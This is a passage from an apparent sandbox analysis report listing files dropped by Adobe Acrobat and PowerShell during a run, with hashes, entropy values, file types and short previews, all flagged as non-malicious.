SHA-512:	F0B31D805F720BE4DB8663C5D0EB793BFAE5FBBC90FE03ED5CDE2D5445A734F3CDA66DD67261A03DCC33D5E158A2D9C1B1B800C2AF8974D88FAB55C2050BEED9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.295750873786503
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmnvlctS1WsGiIPEeOF0YwZJKoAvJfQ1rPeUkwRe9:YvXKXmvGwcsdTeOWnGY16Ukee9
MD5:	9E625F3A148A730B1BD5343C98CFA887
SHA1:	321B588BC07B7A4977025B8322856ADA92F06FD7
SHA-256:	924DFDC3362C3D3DA11D7B234B588A758BB634E54E274AADF6E53B308E2EEF74
SHA-512:	2C15AE9E1E50A400161425D9C8AC82048189CFA5A60324789B98A3F62D89D5BD4BD9E9C1487EFCB83C42137B04D25B77363AD160ACC1E57B2B033AB07E271C30
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3116607177603266
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmnvlctS1WsGiIPEeOF0YwZJKoAvJfFldPeUkwRe9:YvXKXmvGwcsdTeOWnGz8Ukee9
MD5:	0BDDB580AF42FE283C496923645137DE
SHA1:	408BCC2C305E59028ED4FC52FE0713D039A6C016
SHA-256:	4551C12F66C5337727BF9044DB2CD77FEEA82360E4EF980EAEFD3A7E79BFC901
SHA-512:	ADD01A5CD85FC401B1377647A9C31777B3A664C376CF87586DB492626746737DAF4198A76DCB16AF7A2CFFE2834D3BC6C8BB4614BD43701C516836CF2A207FD5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.31697614915721
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmnvlctS1WsGiIPEeOF0YwZJKoAvJfzdPeUkwRe9:YvXKXmvGwcsdTeOWnGb8Ukee9
MD5:	99E062438A0D3813760790C1280661AF
SHA1:	21AE186F3EA8AF8C1F9B20D65126CF040CB48242
SHA-256:	A296C025E54FA4D7C2B1A5912DC6EB41D2FF0084B7F79D4B2B6AB2B366933F6B
SHA-512:	4C1D8D7B29045ED1B3B940141F06273F780DE223F1501D2C05E38BF6A7FBDED6F480B6C3D02A3B72D0A0D0996F7C5616331B7F51A2E8FC51893B79DEB9C4BBDB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298110662128284
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmnvlctS1WsGiIPEeOF0YwZJKoAvJfYdPeUkwRe9:YvXKXmvGwcsdTeOWnGg8Ukee9
MD5:	B7D7DEFEB96ADD2E3005804C26FA03F4
SHA1:	4D27929DB8C390138EEB5D3B881A3CF51D05E60C
SHA-256:	D4BB430B25D89E2A23157D6146AD2F78043A4A580A587489318B55104C9FDA0E
SHA-512:	EC84A270C4037DA7CBBBEBD40BE0F47BEE8877ADBB48D0E7CC092F6F323166B4DCBDEA31211E33077190EC03C425DCB3BD23D8CCFAA42FEBF088C5F4D8782804
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2844267628881
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmnvlctS1WsGiIPEeOF0YwZJKoAvJf+dPeUkwRe9:YvXKXmvGwcsdTeOWnG28Ukee9
MD5:	B1C84836430836B5B3BE55FE9DC6F0E1
SHA1:	337352738E01B9FD19033ED431129EC5684C4FAB
SHA-256:	EB0ABB87C2AAC3F0FCB359B65B1D4D8846B5BD37C02D7104A2F8450A1004C293
SHA-512:	A8CF23535890D760AEC03F2839DC0327E728855A7F2478EF9E1C2641BCBFCD45B85D2CBA7609FD1070E0D39E2DDAF7142F6AFD856CDCC7ACD0732178AF4EF8B4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.28167074494216
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmnvlctS1WsGiIPEeOF0YwZJKoAvJfbPtdPeUkwRe9:YvXKXmvGwcsdTeOWnGDV8Ukee9
MD5:	929A0C1DEB0BFC946C5BEA6B3739C2F7
SHA1:	8516DB6433088242F1FFE2D8AC32EC8502BF4EC3
SHA-256:	E3AACDD19EB659880BC83C211732B91F6F7E79878EA5BBCE5A38C250AD87E9FF
SHA-512:	FA57BAFFF218DB4678B04631143F6D397F8D2188A307A66551779ADA831E304EF67E5C28226580EF94651C3FA9E14FDB404C5B4BE152C542CBA069A890ADD303
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2868713230741475
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmnvlctS1WsGiIPEeOF0YwZJKoAvJf21rPeUkwRe9:YvXKXmvGwcsdTeOWnG+16Ukee9
MD5:	45041352583BE311CF9EE8C904BFCD04
SHA1:	E314C37B1B9B42C75DE6EFF07ED1C7F5B723A0FF
SHA-256:	35E4B7E4E6244CBAC662AF87292A1D78A41CA98841A8069749E0E106B9266D57
SHA-512:	A49E7C53309DEAA1E0160284506148F0BC86AEA4CA66E861896C145CC8182E1F0E6B3314788F3D9C6AA767FFB909585B50E588D6A8DEBEEA5332A28FBC5D31D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665013621252387
Encrypted:	false
SSDEEP:	24:Yv6XmOVmeOHamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS3r:YvPOge2BgkDMUJUAh8cvM7
MD5:	C4406B7F899D604468464530C6E97C88
SHA1:	ADB9CCB0E7049FE1FFFE7BF765E2DCD9181EF92B
SHA-256:	E6954030ABDEBC9C023DD850511419B8FC2315941FE1FA86CEC15CE182099712
SHA-512:	4A432BEA2D73C37C81B3A9C5322C27957CC2AE06CE28A12FBD339572046D7679C01D8D945EAF41D4EBAFB6CB6AF268DD98174BAF8A72F42E5CCAD381515461E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.262946453670081
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmnvlctS1WsGiIPEeOF0YwZJKoAvJfshHHrPeUkwRe9:YvXKXmvGwcsdTeOWnGUUUkee9
MD5:	5995C7C806B2027A2FA0DAF0F027AB29
SHA1:	C8D47C15F691EED1A9DBB003F457890004EAF4CD
SHA-256:	12F45BC517155E489A9242B43B388E163F76CAF919460C79EF90F66389A2DB65
SHA-512:	395B95976F65B5D1AAAD3C3D37B63CAE75FD9F2B23A4F5B275E1E10E13B25BE96C1B17ECA2112B93EF96358319D5E5D85F4625109E51C5CD41DC2A64309C5AA6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.285368506577533
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmnvlctS1WsGiIPEeOF0YwZJKoAvJTqgFCrPeUkwRe9:YvXKXmvGwcsdTeOWnGTq16Ukee9
MD5:	27422F95960D4C9FA2D55B9B602E4D03
SHA1:	413C4634EBE2CC6633B88F50B035C4763B1F2551
SHA-256:	62C1F4AFDEC9C8CA00F7F8ED6B28F2BD0EFCFF4959887A66E4074CE1EA3C1319
SHA-512:	EE65DCDFD1E7A5A09E0042CF93B32A74DBDE2C7388A99976D4C1348966E236EC39FDCE9A08131B32F4FE32CEF0B8C2F764439F5E448E76579BA8692E3AA2343E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"b9df1348-c811-483e-af5e-829aa7b805ac","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736746908517,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1343082846459085
Encrypted:	false
SSDEEP:	48:YYd2FwhEtrfLUBV4iO+rfEVziOhbs9z+E:D2FwhGrfABV4iO+5xyE
MD5:	CFAE9F5CAFA509490497EDF0DF7F5F80
SHA1:	908AD5FDFA2CCD6C4EF1637D02CDC137FB93F359
SHA-256:	44D1A78605B3251036315E8636B8D5D525028F70B69BDB150D16D92AFFD8BA03
SHA-512:	43287DE3D546E611E22A3FE7AE2C8E0D771F4862251EE0421A11974ED86B6D3EF12E85D8C587A3E505255E08ACA6194712FC8609771E0E3879FC030CE1A0722D
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9c2cf90d4875eada4176c4dcc40160b3","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736573973000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3cb47e7c30bd492bae8bc745ed0c69be","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736573972000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"b5beccbae2c374c9686b8446e69a4200","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736573972000},{"id":"DC_Reader_RHP_Retention","info":{"dg":"f40804ddf0c1dee6f93a307582cf12b8","sid":"DC_Reader_RHP_Retention"},"mimeType":"file","size":287,"ts":1736573972000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"96a3df725e25e24b055b2b4b72a1ae93","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736573972000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"23da652976245a4450d8d8606774068f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4530757842357642
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsQBrlSBH:lNVmsw3SHtbDbPe0K3+fDZd7kH
MD5:	582C29DB1834958881696A97012B4F05
SHA1:	729ADA1B633E14CB5EFC6502765F4516829ECF99
SHA-256:	CD14D3B8DBD00B6AD852F97CF807E247FE83BBBEB8DBAF7F97D2EE60A61094C0
SHA-512:	6FCBABBB9497D8F0009BE89B24CFF57D4E992CE96C1C748C859BE9EF09B264B19493A5582B5D937B43B97DB848836A573D1D7A3FE24E0E0A7BAC95058B334849
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9591742015304634
Encrypted:	false
SSDEEP:	48:7MCrvrBd6dHtbGIbPe0K3+fDy2dsQBKmRqFl2GL7msmn:7n3SHtbDbPe0K3+fDZd7DKVmsm
MD5:	77EF0B02E525B001B8288E9A7184E4AF
SHA1:	9C942517772488AFF9A0A9069902CF0E24E5099B
SHA-256:	330FFE119AEB7E269A1F202576F62CF5EF178C0F2D5AEEFC37A2313AA00BE560
SHA-512:	2C0480FC11AB9C8BF20659705F021E2F2EC9CF76660E24837DEEA8DBAA73C6A8BFED0B414063A9614FBEBF4F630F8EDDF1B93AAFF0A4DED61E3C280F73B868D7
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgzLLK7B3GsmPo+VOJPtN/zOi0Yyu:6a6TZ44ADEzKmPohJFhzH0K
MD5:	ABAA670EE13DB390641E351E43B53BDD
SHA1:	B5D75B3CDFAB6D1F07AA1D2790C96FC82EE24806
SHA-256:	9C1BB1F0A8290BF627D7C5D6B248EB637255336DBF094FBEDF3B74F87FE39B8E
SHA-512:	82CF20A1A52555E5F4314AE26462D307F451004B17F18D40E2CAC2879F297ED784CDDA4B97ADB135830232627917F24F6D9A5435AD1F7AB9BCADF01D4171CF3B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nllluldhz/lL:NllU
MD5:	03744CE5681CB7F5E53A02F19FA22067
SHA1:	234FB09010F6714453C83795D8CF3250D871D4DF
SHA-256:	88348573B57BA21639837E3AF19A00B4D7889E2D8E90A923151AC022D2946E5D
SHA-512:	0C05D6047DBA2286F8F72EB69A69919DC5650F96E8EE759BA9B3FC10BE793F3A88408457E700936BCACA02816CE25DD53F48B962491E7F4F0A4A534D88A855E6
Malicious:	false
Preview:	@...e.................................L..............@..........

C:\Users\user\AppData\Local\Temp\MSI6e869.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl96wlYH:Qw946cPbiOxDlbYnuRKdKjlYH
MD5:	66143B144CBAA9EB509CFE54428DDF3E
SHA1:	8373A7790386E439243C7DA05B2FB26E505B5528
SHA-256:	ECC2B3B1B7C9001ECA8C32060518DA5ECECF2A3FEF94F9485F37CEF67DF010FC
SHA-512:	67D78FB61E4EFBF23EDE85BDC61F460F54DA66621AAC59406EBCECF9283200CF858BE812E41F135F889C736B621844251CDE90018DFB26F84DB3E79B18D67F83
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.3.9.:.3.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjjsogus.kgs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f4wssf1g.pc0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-39-25-332.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.365763834633667
Encrypted:	false
SSDEEP:	384:o8OsHZKTJCrae3Dqd/F4mQtgEHCXBgc+PUae8wcqVBvVz18eEN0yEJEFHtX2av/p:M6h
MD5:	2F22E6AD533C2F98BFD9321C7CB38A66
SHA1:	29849AC7B134056BC90B88909C645EFAC120F17B
SHA-256:	DBA7470208C3185946E9CF727D43DF42DD2D97B7ACB5AE331F5F8864C9348250
SHA-512:	0E7967DF28583E21955AFB840817BF87044E9330E14F2091A6FF5FAFF8B171CAFBE4479C450C4687D929538FE032AC4AFA3095CFD2AE927305A15E0D50CA6E25
Malicious:	false
Preview:	SessionID=8f2c2a32-cb0c-4fe4-b3cc-da979d0bcb01.1736573965382 Timestamp=2025-01-11T00:39:25:382-0500 ThreadID=7812 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8f2c2a32-cb0c-4fe4-b3cc-da979d0bcb01.1736573965382 Timestamp=2025-01-11T00:39:25:404-0500 ThreadID=7812 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8f2c2a32-cb0c-4fe4-b3cc-da979d0bcb01.1736573965382 Timestamp=2025-01-11T00:39:25:404-0500 ThreadID=7812 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8f2c2a32-cb0c-4fe4-b3cc-da979d0bcb01.1736573965382 Timestamp=2025-01-11T00:39:25:405-0500 ThreadID=7812 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8f2c2a32-cb0c-4fe4-b3cc-da979d0bcb01.1736573965382 Timestamp=2025-01-11T00:39:25:405-0500 ThreadID=7812 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.413689197564722
Encrypted:	false
